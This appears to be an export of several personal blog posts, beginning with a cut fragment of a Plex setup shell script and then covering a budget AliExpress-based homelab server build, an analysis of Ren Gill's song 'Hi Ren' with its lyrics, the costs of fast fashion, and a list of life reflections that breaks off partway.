prefFile="${pmsApplicationSupportDir}/Plex Media Server/Preferences.xml"
PLEX_CLAIM="$1"
# Create empty shell pref file if it doesn't exist already
if [ ! -e "${prefFile}" ]; then
echo "Creating pref shell"
mkdir -p "$(dirname "${prefFile}")"
cat > "${prefFile}" "${prefFile}"
---
---
title: "How I Built a Budget Server That Packs a Punch Part 1"
url: "https://alsonkaw.com/muse/how-i-built-a-budget-server-that-packs-a-punch-part-1/"
lang: "en-US"
type: "post"
description: "Preamble Lately, I’ve been finding myself grumbling more and more about how sluggish my old HP Z600 server has become. With its aging SATA 2.0 ports and 1066 MHz RAM, it’s clear the hardware is holding me back. While I’ve"
last_modified: "2024-12-23T17:00:55+00:00"
categories: [Homelab Projects & Self-Hosting Adventures]
tags: [DIY Server Build, Home-Lab Build, Linux Server, Promox Server, Self-Hosting, Server Hardware, Server Upgrade, Virtualization]
---
# How I Built a Budget Server That Packs a Punch Part 1
## Preamble
Lately, I’ve been finding myself grumbling more and more about how sluggish my old HP Z600 server has become. With its aging SATA 2.0 ports and 1066 MHz RAM, it’s clear the hardware is holding me back. While I’ve been talking about upgrading since 2023, the costs of squeezing more life out of this system just didn’t seem financially reasonable.
As someone who follows a fair share of tech YouTubers, I stumbled across a video showcasing a budget server build using parts sourced from AliExpress. It immediately caught my attention—it felt like the perfect mix of practicality and experimentation, and honestly, it’s right up my alley.
So, this time around, I’ll be diving into an AliExpress-centric build, sourcing most of the key components from there. A few parts, like the chassis, storage and power supply, will be sourced locally—either because of outrageous shipping costs, straight up scams or for safety considerations.
I will be splitting this whole project into multiple parts.
Let’s dive into the details of the build, from the hardware choices and pricing to setting up Proxmox and organising virtual machines and containers.
## Requirements of the New Server
Let’s face it—my old **HP Z600** server is basically the IT equivalent of a grandpa still trying to win marathons in flip-flops. Sure, it technically works, but between the aging dual **Xeon X5660** processors, sluggish 1066MHz **DDR3 RAM**, and the fact that it guzzles power like a frat bro at a beer fountain, it’s time for an upgrade. So, here are my non-negotiables for this new build:
##### 1. Enhanced Processing Power
The current setup runs on **dual Intel Xeon X5660 CPUs**, offering a total of **12 cores and 24 threads**. Back in 2010, that was considered pretty spicy. Today? Not so much. It’s like running a Formula 1 race with two lawnmower engines. The upgrade will swap these out for a single **Intel Xeon E5-2690 v4**—a beast (well, at least compared to the previous CPUs) with **14 cores and 28 threads**, a **2.60 GHz base clock**, and a turbo speed of **3.50 GHz**. Plus, it boasts a **35MB Smart Cache**, which basically means it can keep more important “stuff” closer for faster access. Oh, and did I mention it does all this while sipping power at **135W TDP**? That’s right, _one_ processor doing more than two old ones combined, with less heat and power draw. Efficiency level: Jedi Master.
##### 2. Better Power Efficiency
Speaking of power, the old dual Xeon setup pulls a combined **190W TDP** under load. That’s a lot of juice for a performance level that feels… underwhelming. The new **Xeon E5-2690 v4** comes in at a far more manageable **135W TDP**. It’s not just about saving on the electricity bill—it’s also about generating less heat, which means less noisy cooling and fewer moments of me wondering if my server room is slowly becoming a sauna.
##### 3. Expanded and Faster Memory
The current server rocks **96GB of DDR3 ECC RAM running at 1066MHz**, which, let’s be honest, is about as fast as a sleepy tortoise trying to climb a hill. The new build will crank things up to **256GB of DDR4 ECC RAM at 2133MHz**. That’s not just more memory—it’s _faster_ memory. Think of it like upgrading from a slow drip coffee maker to a turbo-charged espresso machine. For tasks like virtualization and container orchestration, this upgrade isn’t just nice—it’s a long overdue necessity.
##### 4. Improved Storage Capacity
Here’s a fun fact: the HP Z600 motherboard supports **only five onboard SATA ports**. Translation? I’ve been playing a game of musical chairs with my storage drives for far too long. Having SSDs dangling mid-air in the chassis is not a good sight. The new motherboard will support **8 onboard SATA ports**, giving me enough room to plug in more drives without having to rely on an HBA (Host Bus Adapter). Plus, the new chassis will be selected specifically to hold **at least eight hard drives**. This means more storage, better organization, and fewer tangled cables looking like a plate of spaghetti inside the case.
##### 5. Advanced Virtualisation Support
Virtualization is the backbone of my server setup, and any hardware upgrade needs to handle it like a pro. The new server must support **IOMMU (Input/Output Memory Management Unit)**, along with other virtualization technologies. Why does this matter? Because I want my virtual machines to have direct access to GPUs, storage, and other hardware resources without playing middleman with the host system. If you’ve ever tried passing through a GPU to a Windows VM without proper IOMMU support, you’ll understand why this isn’t up for negotiation.
##### 6. Capable of Running Concurrent Workloads
This isn’t just a server—it’s essentially going to be the Swiss Army knife of my home lab. It needs to handle:
- **80 Docker containers** running WordPress instances.
- Web servers dishing out pages via **Nginx**, **Apache**, and backend services like **PHP**, **SQL/PostgreSQL**, and **Node.js/Next.js**.
- **Plex Media Server** with **hardware transcoding** (Because my Linux ISOs serves a handful of users and buffering is a crime).
- **Immich**, which keeps my photo and video library neatly organized.
- **80 additional self-hosted web apps**, managed through tools like **Portainer**. Other services like **Homepage**, and **Glances**, which my current server is already hosting, should also be migrated.
- A **Windows 10 VM** capable of running tools like **ScreamingFrog** for performance testing and security scans.
_Bonus points_ if that Windows VM can also handle **light gaming**—because hey, why not?
Basically, I need a digital butler that can serve media, host apps, crunch data, and still have enough headroom to spin up new virtual machines without breaking a sweat.
##### 7. Noise Control
Finally, there’s the small matter of sound. The old server sometimes sounds like a jet engine taking off, and that’s not ideal when it’s sitting a few meters away from the dining room and can be heard from the living room when there is high load. The new build needs to stay **quiet and efficient**, balancing cooling performance with noise control. No more sounding like I’m living next to an airport hangar.
This server upgrade isn’t just a vanity project—it’s a necessary step forward. It’s about building something reliable, powerful, and energy-efficient that can grow with my needs while keeping my workflow smooth. Plus, let’s be honest—there’s something deeply satisfying about seeing a fresh server boot up for the first time. Now, let’s dive into the hardware specifics and start building this thing.
## Choosing the Hardware
Ah, hardware shopping—the adult version of being a kid in a candy store, except everything is significantly more expensive, and one wrong choice might leave you crying in a corner. When it came to building this server, I had three main goals: performance, efficiency, and not completely annihilating my wallet. After scouring AliExpress, Amazon, and Carousell, here’s where my money went:
- [

Motherboard with CPU & RAM
SGD$ 436.77
The heart of this build is a **X99 D8 motherboard**, paired with an **Intel Xeon E5-2690 v4** and a whopping **256GB of DDR4 RAM running at 2133MHz**. All of this came in a bundle deal that honestly felt like I was cheating the system. A 14-core, 28-thread CPU backed by enough RAM to make Chrome tabs feel shame? Yes, please. Plus, the price was suspiciously reasonable (11.11 campaign)—like finding a gourmet meal at a roadside food stall. But hey, it works, and I’m not asking too many questions.
](https://www.aliexpress.com/item/1005008106781685.html?spm=a2g0o.order_list.order_list_main.5.279b1802j2OAwM)
- [

be quiet! Pure Rock 2
SGD$ 30.00
Cooling is important unless you want your CPU to turn into molten slag. I picked up a **be quiet! Pure Rock 2** cooler from Carousell for thirty bucks. It’s used, but in great shape—kind of like a well-maintained second-hand car. Plus, the brand literally tells you it’s “quiet,” and I appreciate that level of honesty in marketing.
](https://www.bequiet.com/en/cpucooler/1841)
- [

ThermalTake View 91 Case
SGD$ 106.77
Okay, confession time. I didn’t research this one enough. The **ThermalTake View 91** case is massive. And when I say massive, I mean, “Is this a server case or a small wardrobe?” Currently, it’s parked outside my house on a trolley, serving as a constant reminder to double-check dimensions before hitting the ‘Buy Now’ button.
The cost also includes transport from the seller’s house because I couldn’t exactly strap it to my back and run home.
](https://www.thermaltake.com/view-91-tempered-glass-rgb-edition.html)
- [

Cooler Master CM-690 ATX Case
SGD$ 40.00
The **Cooler Master CM-690 ATX case** was another second-hand score from Carousell. It was listed for $35, but I threw in an extra $5 for delivery because transporting the ThermalTake case gave me both nightmares and I’m still discovering new bruises from transporting the behemoth back home alone. It’s sturdy, functional, and—most importantly—fits under my desk without requiring spatial rearrangement of my entire room.
](https://www.coolermaster.com/en-global/products/cm693/)
- [

Micron M500DC 800GB
SGD$ 60.00
Storage is critical for a server build, and this **Micron M500DC 800GB enterprise SSD** was a solid find. With 1900TB TBW (terabytes written) and only 3% wear, this drive has more stamina than most marathon runners. It’s currently serving as a dedicated drive for my Docker server, which, fun fact, also powers this website.
](https://www.tweaktown.com/reviews/6320/micron-m500dc-800gb-enterprise-ssd-review/index.html)
- [

Samsung 990 EVO 1TB NVME
SGD$ 102.97
For the boot drive, I went with the **Samsung 990 EVO 1TB NVMe SSD**. It’s fast, reliable, and was shipped straight from Amazon without any questionable detours. This drive makes sure the server boots up like it’s had three cups of espresso—quick efficient, and slightly jittery. It took 3 minutes for reboot. Yes, of course I timed it.
](https://amazon.sg/dp/B0CRCC9863)
- [

Galax GeForce GTX 1660 TI
SGD$ 100.00
The **Galax GeForce GTX 1660 Ti** GPU was another Carousell find. Its main role? Acting as a hardware for Plex to transcode _Linux ISOs_. But let’s be honest, it’s also doing a little side hustle running local LLMs (Large Language Models). No judgment here—it’s a hard-working GPU in a world full of digital media and AI demands.
](https://www.amazon.sg/GEFORCE-1-Click-1800MHz-Dual-Link-DisplayPort/dp/B07P1T367X)
- [

CoolerMaster MWE 750W Gold V2
SGD$ 115.80
Power supplies are not the place to cheap out, especially when you’re building something that’s going to run 24/7. I picked up the **Cooler Master MWE 750W Gold V2** from Carousell via Mansa’s official account. The PSU cost SGD$ 100 brand new, with an extra SGD$ 15.80 for GrabExpress delivery. Yes, that’s right—I Uber’d my power supply across town because I wasn’t about to risk it rattling around in some courier’s van.
](https://www.coolermaster.com/en-global/products/mwe-gold-750-v2-full-modular/)
##### Total Cost: SGD$ 885.54 (excl. wrong case)
All in all, the total damage to my wallet came out to **SGD$ 885.54**. That’s not too shabby for a server packing this much firepower. If you exclude the **ThermalTake View 91** case (currently moonlighting as modern art on my porch), the cost stays impressively low for what I’m getting.
Would I do it all over again? Absolutely. Would I measure case dimensions more carefully next time? You bet. But for now, this hardware lineup feels like a well-balanced recipe—powerful enough to handle everything I throw at it, efficient enough to not bankrupt me on electricity, and assembled with just the right amount of budget-conscious scavenging.
We’ll move on to setting up Proxmox and organizing this digital beast in the next article.
---
---
title: "The Depths of Ren Gill’s “Hi Ren”"
url: "https://alsonkaw.com/muse/the-depths-of-ren-gills-hi-ren/"
lang: "en-US"
type: "post"
description: "I recently stumbled upon \"Ren's music, \"Hi Ren\" on TikTok. From there, I dove into the rabbit hole of Ren Gill's music. Ren Gill isn’t your typical musician. He’s not just stringing together chords and catchy hooks—he’s pulling back the"
last_modified: "2024-08-28T18:02:57+00:00"
categories: [Psychology & Human Behavior]
---
# The Depths of Ren Gill’s “Hi Ren”
I recently stumbled upon “Ren’s music, “Hi Ren” on TikTok. From there, I dove into the rabbit hole of Ren Gill’s music.
Ren Gill isn’t your typical musician. He’s not just stringing together chords and catchy hooks—he’s pulling back the curtain on his mind and inviting us into the mess. “Hi Ren” is one of those tracks that sticks with you, not just because of its sound, but because of its honesty. Ren’s not just telling a story; he’s living it, and he’s letting you in on the ride.
### Who is Ren Gill?
Ren Gill, hailing from Brighton, England, is a guy who wears his heart on his sleeve.
Ren has battled health challenges for years, dealing with autoimmune issues, illness, and psychosis. In the video for “Hi Ren,” he talks openly about being misdiagnosed with depression and bipolar disorder before finally getting the correct diagnosis of Lyme disease in Belgium.
His music isn’t just about filling up airtime; it’s about sharing his journey—warts and all. With a blend of indie, folk, and spoken word, Ren’s style is raw and unfiltered, much like a candid conversation with a close friend. You won’t find any pretentiousness here, just real talk wrapped up in some seriously good tunes.
Ren’s music is like that perfectly worn-in jacket—it’s comfortable, familiar, yet distinct. He keeps things simple, often just a guitar and his voice, but don’t let that fool you. The simplicity is intentional, drawing you in so that you focus on what really matters: the words. His lyrics hit hard, not because they’re fancy, but because they’re real. Ren doesn’t dress up his struggles in metaphors; he lays them out as they are.
### Introducing “Hi Ren”
“Hi Ren” is where Ren truly bares it all. The song is less of a performance and more of a personal dialogue—a confrontation between two sides of his mind. It’s intense, to say the least. The track is a rollercoaster of emotions, with Ren flipping between vulnerability and aggression, self-doubt and defiance. The structure is chaotic, mirroring the mental health struggles he’s grappling with. This isn’t just a song; it’s an experience.
Take a minute here and listen to the song right now if you haven’t. The lyrics provided by YouTube is not very accurate but I’ve included a copy of it below:
Hi Ren — Ren Gill
Lyrics for Hi Ren
Hi there Ren, it’s been a little while, did you miss me?
You thought you’d buried me, didn’t you? Risky
‘Cause I always come back, deep down, you know that
Deep down, you know I’m always in the periphery
Ren, aren’t you pleased to see me?
It’s been weeks since we spoke bro, I know you need me
You’re the sheep, I’m the shepherd, not your place to lead me
Not your place to be biting off the hand that feeds me
Hi Ren, I’ve been taking some time to be distant
I’ve been taking some time to be still
I’ve been taking some time to be by myself
Since my therapist told me I’m ill
And I’ve been making some progress lately
And I’ve learnt some new coping skills
So I haven’t really needed you much, man
I think we need to just step back and chill
Ren, you sound more insane than I do
You think that those doctors are really there to guide you?
You’ve been through this a million times
Your civilian mind is so perfect at always being lied to
Okay, take another pill boy
Drown yourself in the sound of white noise
Follow this ten-step program, rejoice
All your problems will be gone! Fuckin’ dumb boy
Nah, mate, this time it’s different, man, trust me
I feel like things might be falling in place
And my music’s been kinda doing bits too
Like I actually might do something great
And when I’m gone, maybe I’ll be remembered
For doing something special with myself
That’s why I don’t think that we should talk, man
‘Cause when you’re with me, it never seems to help
You think that you can amputate me?
I am you, you are me, you are I, I am we
We are one, split in two that makes one, so you see
You got to kill you if you wanna kill me
I’m not left over dinner, I’m not scraps on the side
Oh, your music is thriving? Delusional guy
Where’s your top ten hit? Where’s your interview with Oprah?
Where are your Grammies, Ren? Nowhere!
Yeah but, my music’s not commercial like that
I never chased numbers, statistics or stats
I never write hooks for the radio, they never even play me
So why would I concern myself with that?
But my music is really connecting
And the people who find it, respect it
And for me, that’s enough ’cause this life’s been tough
So it gives me a purpose I can rest in
Man, you sound so pretentious
Ren, your music is so self-centred
No one wants to hear another song about
How much you hate yourself, trust me
You should be so lucky, having me inside you to guide you
Remind you to manage expectations
Provide you perspective, that thing you neglected, I get it
You wanna be a big deal, next Jimi Hendrix? Forget it
Man, it’s not like that
Man it’s just like that, I’m inside you, you twat
No, it’s not man, you’re wrong, when I write, I belong
Let me break the fourth wall by acknowledging this song
Ren sits down, has a stroke of genius
He wants to write a song that was not done previous
A battle with his subconscious, Eminem did it
Played on guitar, Plan B did it
Man, you’re not original, you criminal, rip-off artist
The pinnacle of your success is stealing other people’s material
Ren, mate, we’ve heard it all before
Uh, “she sells seashells on the sea shore”
Fuck you, I don’t need you, I don’t need to hear this
‘Cause I’m fine by myself, I’ma genius
And I will be great, and I will make waves
And I’ll shake up the whole world beneath us
That’s right, speak your truth, your fuckin’ God complex leaks out of you
It’s refreshing to actually hear you say it instead of downplay it
“Ugh, music Is all about the creative process and if people can find
Something to relate to within that, then that’s just a bonus”
Fuck you, I’ma fuckin’ kill you, Ren
Well fuckin’ kill me then, let’s fuckin’ have you Ren
I’m a do it, watch me prove it, who are you to doubt my music?
‘Cause I call the shots. I choose if you die
Yeah, I call the shots, and so I who choose who survives
I’ll tie you up in knots when I’ll lock you inside
News flash
I was created at the dawn of creation
I am temptation, I am the snake in Eden
I am the reason for treason, beheading all Kings
I am sin with no rhyme or reason
Sun of the morning, Lucifer, antichrist
Father of lies, Mestophilies
Truth in a blender, deceitful pretender
The banished avenger, the righteous surrender
When standing in-front of my solar eclipse
My name it is stitched to your lips, so, you see
I won’t bow to the will of a mortal, feeble and normal
You wanna kill me? I’m eternal, immortal
I live in every decision that catalysed chaos
That causes division
I live inside death, the beginning of ends
I am you, you are me, I am you, Ren
Hi Ren, I’ve been taking some time to be distant
I’ve been taking some time to be still
I’ve been taking some time to be by myself
And I’ve spent half my life ill
But just as sure as the tide starts turning
Just as sure as the night has dawn
Just as sure as rainfall soon runs dry
When you stand in an eye of the storm
I was made to be tested and twisted
I was made to be broken and beat
I was made by His hand, it’s all part of His plan
That I stand on my own two feet
And you know me, my will is eternal
And you know me, you’ve met me before
Face to with a beast, I will rise from the east
And I’ll settle on the ocean floor
And I go by many names also
Some people know me as “hope”
Some people know me as the voice that you hear
When you loosen the noose on the rope
And you know how I know how I know that I’ll prosper?
‘Cause I stand here beside you today
I have stood in the flames that cremated my brain
And I didn’t once flinch or shake
So cower at the man I’ve become, when I sing from the top of my lungs
That I won’t retire, I’ll stand in your fire, inspire the weak to be strong
And when I am gone, I will rise, in the music that I left behind
Ferocious persistent, immortal like you, we’re a coin with two different sides
[Monologue]
When I was 17 years old, I shouted out into an empty room
Into a blank canvas, that I would defeat the forces of evil
And for the next 10 years of my life, I suffered the consequences
With autoimmunity, illness, and psychosis
As I got older, I realised that there were no real winners
And there were no real losers in physiological warfare
But there were victims and there were students
It wasn’t David versus Goliath, it was a pendulum
Eternally swayin’ from the dark to the light
And the more intensely that the light shone, the darker the shadow it cast
It was never really a battle for me to win, it was an eternal dance
And like a dance, the more rigid I became, the harder it got
The more I cursed my clumsy footsteps, the more I struggled
So I got older and I learned to relax
And I learned to soften and that dance got easier
It is this eternal dance that separates human beings
From angels, from demons, from gods
And I must not forget, we must not forget
That we are human beings
Listening to “Hi Ren” is like eavesdropping on a deeply personal argument. There’s Ren, trying to keep it together, and then there’s this darker, more cynical voice tearing him down at every turn. It’s a back-and-forth that feels all too real, especially if you’ve ever had your own battles with mental health. Ren doesn’t sugarcoat it—the lyrics are raw, painful, and brutally honest. You can almost feel the tension in every word.
The song tackles some heavy themes. The struggle for identity is front and center—who am I, really, when my mind is constantly pulling me in different directions? But it’s not just about identity; it’s about fear, self-doubt, and the relentless quest for acceptance. Ren digs into these issues with a kind of brutal honesty that’s rare in music. It’s uncomfortable at times, but that’s the point—mental health isn’t a neat, tidy package.
### Exploring the Themes in “Hi Ren”
Ren doesn’t just sing about Dissociative Identity Disorder (DID); he lives it through his music. DID is a condition where multiple distinct identities live within one person, and “Hi Ren” brings this to life. The song’s dialogue isn’t just a creative choice; it’s a reflection of the chaos that comes with DID. Ren’s lyrics offer a glimpse into this world, showing us the constant push and pull between different sides of himself.
Psychosis is another key theme in “Hi Ren,” and Ren captures it perfectly through the song’s disjointed structure. Psychosis is all about losing touch with reality, and the erratic shifts in tone and pace throughout the song mirror this experience. One minute, the lyrics are clear and direct; the next, they’re spiraling into confusion. It’s unsettling, but that’s the point—Ren wants you to feel the disorientation that comes with psychosis.
At its core, “Hi Ren” is about a battle—a battle between conflicting identities within the same mind. The darker voice is relentless, always ready to tear down the more vulnerable side of Ren. This isn’t just a narrative device; it’s a reflection of the real struggles people with DID and other mental health conditions face daily. The fight for control, the fear of losing oneself—it’s all there, laid bare for the listener to confront.
### Musical Composition, Artistic Vision and Impact
Musically, “Hi Ren” is a minimalist masterpiece. Ren doesn’t need a full band or elaborate production to make an impact. A simple guitar, his voice, and some haunting harmonies are all he needs to create an atmosphere that’s both intimate and unsettling. The music shifts in tone and tempo just like the lyrics, enhancing the sense of chaos and confusion that runs through the song. It’s this simplicity that makes the track so powerful—you’re not distracted by anything other than Ren’s message.
The song is a perfect example of Ren’s artistic vision. He’s not interested in making music that’s easy to listen to or that fits neatly into a genre. Ren’s music is about telling stories that matter, stories that aren’t always comfortable but are necessary. He uses his art to explore the complexities of the human mind, shining a light on the parts of ourselves that we often keep hidden.
For many, “Hi Ren” isn’t just a song—it’s a lifeline. The honesty and vulnerability in Ren’s lyrics resonate deeply with those who have struggled with mental health issues. The song’s depiction of internal conflict is both relatable and validating, providing a sense of connection for listeners who might feel isolated in their struggles. It’s a powerful reminder that they’re not alone, that someone out there understands what they’re going through.
### Societal Perceptions of Mental Health
“Hi Ren” isn’t just a personal narrative; it’s a challenge to how society views mental health. Ren’s portrayal of conditions like DID and psychosis is both empathetic and unflinching, forcing listeners to confront the reality of these disorders. The song pushes back against the stigma that so often surrounds mental illness, encouraging a more compassionate and nuanced understanding of those who live with these conditions.
Through his music, Ren Gill is making a significant impact on mental health awareness. By sharing his struggles so openly, he’s helping to break down the barriers that often prevent people from talking about their own mental health. “Hi Ren” is a perfect example of how art can be a tool for advocacy, giving a voice to those who might not have one and sparking conversations that need to be had.
### Conclusion
“Hi Ren” isn’t just a song; it’s a journey into the depths of the human mind. Through his raw, unfiltered lyrics, Ren Gill offers us a glimpse into the chaos of mental illness, shining a light on the struggles that so many people face in silence. It’s a powerful, unsettling, and ultimately important piece of music that challenges us to think differently about mental health, and about the people who live with these conditions every day.
---
---
title: "The Real Cost of Fast Fashion"
url: "https://alsonkaw.com/muse/the-real-cost-of-fast-fashion/"
lang: "en-US"
type: "post"
description: "Remember when shopping for clothes felt like an investment? You’d buy a few well-made pieces, and they’d last you for years. Today, things are different. Fast fashion giants like Zara and Shein have flipped the script, prioritizing speed and low"
last_modified: "2024-08-27T17:02:39+00:00"
categories: [Marketing Strategies & Brand Building]
tags: [Environmental Impact, Fast Fashion]
---
# The Real Cost of Fast Fashion
Remember when shopping for clothes felt like an investment? You’d buy a few well-made pieces, and they’d last you for years. Today, things are different. Fast fashion giants like Zara and Shein have flipped the script, prioritizing speed and low costs over quality, and the impact is felt far and wide.
### The Decline in Quality
It wasn’t too long ago that brands like Abercrombie & Fitch were known for their high-quality, long-lasting clothes. But walk into their stores today, and you might notice a difference — thin fabrics, loose threads, and synthetic materials have replaced the sturdy garments of the past. The reason? Fast fashion has drastically shortened the production cycle. Where designers once spent months perfecting collections, brands like Zara can go from idea to store shelf in just 15 days. This emphasis on speed means cutting corners, resulting in cheaper, lower-quality clothing.
### Zara’s 15-Day Turnaround: The Secret to Fast Fashion
Zara revolutionized the fashion industry with its remarkable 15-day turnaround from design to store shelf. How did they pull this off? Zara streamlined their production process by building high-tech factories close to their headquarters in Spain. These factories are connected via an underground monorail, allowing for rapid communication and transport. Robots work around the clock, cutting and dyeing fabrics, which are then sent to a network of smaller workshops for final assembly. By producing small batches, Zara reduces the risk of unsold inventory and can quickly adapt to changing trends based on real-time feedback from stores. This model allowed Zara to respond to fashion trends almost as soon as they emerged, outpacing traditional fashion cycles that took months to develop.
### The Environmental and Ethical Impact
But the decline in quality is only part of the story. Fast fashion has a darker side that’s often hidden from view. The industry’s relentless push for cheaper production has led to widespread exploitation of workers in countries like Bangladesh and China. Factories operate under unsafe conditions, with workers putting in long hours for meager pay. The 2013 Rana Plaza disaster, where over a thousand garment workers lost their lives, is a stark reminder of the human cost of cheap clothing.
And then there’s the environmental toll. Fast fashion encourages overconsumption, leading to massive amounts of textile waste. Clothes made from synthetic materials like polyester can take centuries to decompose. In places like Chile’s Atacama Desert, mountains of discarded clothing are growing larger every year. It’s a sobering reality—our desire for cheap, trendy clothes is filling landfills and harming the planet.
### The Role of Social Media
Social media plays a significant role in driving the fast fashion industry. Platforms like Instagram and TikTok have created a culture of constant consumption, where influencers showcase new outfits daily, and consumers feel the pressure to keep up. This has led to the rise of ultra-fast fashion brands like Shein, which can produce and release new clothing items in just three days. It’s fashion on demand, but at what cost? The quality is often poor, and the labor practices behind these products are highly questionable.
### Is There Any Hope for Change?
Despite the growing awareness of the issues surrounding fast fashion, the industry shows no signs of slowing down. Brands like Shein continue to thrive, with billion-dollar valuations and plans for further expansion. Efforts to regulate the industry face significant challenges, with companies lobbying against legislation that would hold them accountable.
### Conclusion: The True Cost of Fast Fashion
Fast fashion has transformed the clothing industry, making it possible to buy trendy clothes at incredibly low prices. But this comes at a significant cost—lower quality, environmental degradation, and the exploitation of workers. As consumers, it’s important to recognize these costs and reconsider our relationship with the clothes we buy. While the industry may be slow to change, understanding the impact of our choices is the first step toward a more sustainable and ethical future in fashion.
---
---
title: "35 on the Way to 35"
url: "https://alsonkaw.com/muse/35-on-the-way-to-35/"
lang: "en-US"
type: "post"
description: "Preamble This year marks my 34th birthday, and it feels like the right time to revisit something I started four years ago. Back then, inspired by Ryan Holiday's \"33 Things I Stole From People Smarter Than Me on the Way"
last_modified: "2024-08-26T08:54:00+00:00"
categories: [Thoughts & Personal Reflections]
tags: [Reflections]
---
# 35 on the Way to 35
### Preamble
This year marks my 34th birthday, and it feels like the right time to revisit something I started four years ago. Back then, inspired by Ryan Holiday’s “[33 Things I Stole From People Smarter Than Me on the Way to 33](https://ryanholiday.net/33-things/)“. I began drafting my own reflections.
But life, with its relentless chaos — Covid-19, work, family — intervened, pushing this project aside. Now, amidst the world’s turmoil, I’ve decided to restore some order, return to writing, and share the lessons I’ve gathered on my journey to 35.
Four years in the making, it’s time to finally put these reflections out into the world.
### Self-Awareness
#### 1.Know Thyself
The most important relationship you’ll ever have is with — you guessed it — yourself. Think of it like the ultimate lifelong project. Take the time to figure out your strengths, weaknesses, passions, and fears. The earlier you start, the better.
Why? Because understanding who you are is the foundation for all personal growth. It’s like setting the groundwork for building an epic skyscraper — solid, secure, and ready to rise.
#### 2. Embrace Change
Change is the only constant, right? Life loves to throw curveballs, and the best way to hit them out of the park is to be adaptable. Whether it’s a sudden shift in your career, a relationship detour, or just the everyday twists and turns, being flexible is key. Think of yourself as a river, flowing around obstacles, finding new paths. Flexibility can lead you to opportunities you never even dreamed of.
#### 3. Accept Your Flaws
Here’s the thing — perfection is overrated. Everyone has flaws, and guess what? They make you, well, you. Embrace those imperfections like an old friend. Self-acceptance is the first step toward self-improvement. It’s like knowing the rules before you can break them — once you understand your flaws, you can work with them, not against them.
#### 4. Trust Your Instincts
Your gut feeling? It’s there for a reason. Your intuition is like a built-in GPS, guiding you through life’s maze. Sometimes, it knows the right path better than all the logic and advice in the world. So, listen to that inner voice. It’s like your personal life coach, always steering you in the right direction — if only you’d trust it.
#### 5. Follow Your Passion
Passion is the rocket fuel that propels you forward. Whether it’s a hobby, a career, or a cause close to your heart, chase what sets your soul on fire. Your passions are a big part of who you are, and they’re key to your happiness and fulfillment. Think of it as your personal treasure hunt — find what lights you up, and don’t settle for aimlessness.
### Personal Growth and Development
#### 6. Invest in Education & Never Stop Learning
Learning doesn’t end when you leave school. Consider it a lifelong adventure. Whether it’s formal education, online courses, or diving into self-study, keep feeding your brain. Think of it as investing in a stock that always yields returns. The world’s always changing, and so should you. Lifelong learning is your ticket to staying sharp and adaptable, keeping your ideas fresh and your mind wide open.
#### 7. Build Resilience
Life’s going to throw punches — count on it. But your true measure of success isn’t how many times you get hit, it’s how many times you get back up. Resilience is your hidden superpower. Face challenges head-on, learn from them, and watch yourself bounce back stronger each time. Think of resilience as your personal force field; it might get dented, but it should never break.
#### 8. Cultivate Emotional Intelligence
Understanding emotions — both yours and others’ — is like having a secret decoder ring for life’s complexities. Emotional intelligence isn’t just a buzzword; it’s a vital skill. It helps you navigate relationships, manage stress, and make wiser decisions. In fact, it’s just as important as IQ, maybe even more so. Picture it as the steering wheel that guides you smoothly through the twists and turns of life.
#### 9. Establish Your Principals
Your principles are like the moral bedrock of your life — they keep you grounded no matter what. Building strong principles helps you stay true to your values and make decisions that resonate with who you truly are. They act like a moral compass, guiding you through tough times and ensuring you live with integrity. Remember, you’re the writer of your own rulebook.
#### 10. Set Your Boundaries
Knowing where to draw the line is crucial for maintaining your mental and emotional health. Boundaries are like the fences that protect your garden — your time, energy, and peace of mind. Setting them isn’t just about keeping things out, but about honoring and respecting yourself. It’s one of the most important forms of self-care.
### Relationships and Connections
#### 11. Value Your Loved Ones
Family and close friends are irreplaceable and what keeps you going. Take the time to cherish these relationships, show appreciation, and be truly present. Sure, life gets busy, but there’s always time for a quick text to let them know you care. These connections are your anchor in the storm of life.
#### 12. Choose Your Circle Wisely
The people you surround yourself with shape your world. Choose friends who uplift, inspire, and support you. It’s about quality over quantity—better to have a few genuine connections than many shallow ones. As a wise friend once said,
>
“We don’t need many friends. We just need a few great ones that’ll go out of their comfort zone just for us.”
#### 13. Nurture Close Relationships
Strong relationships don’t just happen; they require effort. Whether with family, friends, or a partner, invest time in nurturing these connections. Show appreciation, communicate openly, and be present in their lives. Relationships are like gardens — they flourish when tended to with care.
#### 14. Communication Is Everything
At the heart of every healthy relationship lies open and honest communication. Whether personal or professional, practice active listening, express yourself clearly, and handle conflicts with respect and empathy. Good communication is the glue that holds relationships together.
#### 15. Practice Empathy
One night, after a jam session, Taiwanese musician R-Chord shared a piece of wisdom with me:
>
”做人,一定要懂得将心比心,才能够写得出让人感动的歌。“
This roughly translates to “As a person, we must always walk a mile in other’s shoes; that’s how you write songs that move people.” This advice on empathy has stuck with me in everything I do. Empathy isn’t just important; it’s essential to truly connect with others.
### Career
#### 16. Align Your Career with Your Values
Your work should be a reflection of who you are and what you believe in. Don’t settle for a job that doesn’t resonate with your core values. A fulfilling career is one where you find purpose and joy. Mark Twain once said,
>
“Find a job you enjoy doing, and you will never have to work a day in your life.”
That’s the goal — work that feels less like work and more like passion in action.
#### 17. Understand the Value of Time
Time is your most precious resource — once spent, it’s gone for good. Use it wisely. Prioritise tasks that align with your goals and eliminate distractions. But remember, time spent enjoying yourself isn’t wasted. Balance and moderation are key. Manage your time well to stay productive, but don’t forget to take breaks to recharge and bring balance back into your life.
Balance and moderation is key here. Time management is crucial for productivity.
#### 18. Take Calculated Risks
Taking risks is essential for growth, but they should be calculated. Weigh the pros and cons, and don’t let fear hold you back from pursuing opportunities that could lead to success. As the Chinese saying goes,
>
“一人飽,全家飽”
When you’re young and independent, it’s the best time to take risks. Later in life, with more responsibilities, risk-taking becomes more challenging.
#### 19. Learn the Art of Negotiation
Negotiation is a vital skill in both personal and professional settings. Whether it’s discussing salary, contracts, or deals, effective negotiation always leads to better outcomes. It’s like a dance — knowing when to push, when to yield, and how to reach a satisfying conclusion for all involved.
#### 20. Network Effectively
Your network is your net worth. Building meaningful connections within and outside your industry can open doors you didn’t even know existed. Networking isn’t just about meeting people; it’s about forging relationships that expand your perspectives and unlock new opportunities.
#### 21. Take Ownership
Taking ownership of your work is crucial. [Bill Bernbach](http://aafomaha.org/news/back-to-the-classics-bernbach-and-the-creative-team/) put it best: “When a team is given responsibility for their own work, it becomes their property.” I believe that pride in your work, whether it’s a small function in a large app or branding for an entire company, is essential. If I’m not proud of something, I don’t ship it. Simple as that.
#### 22. Don’t Get Sucked into Imposter Syndrome
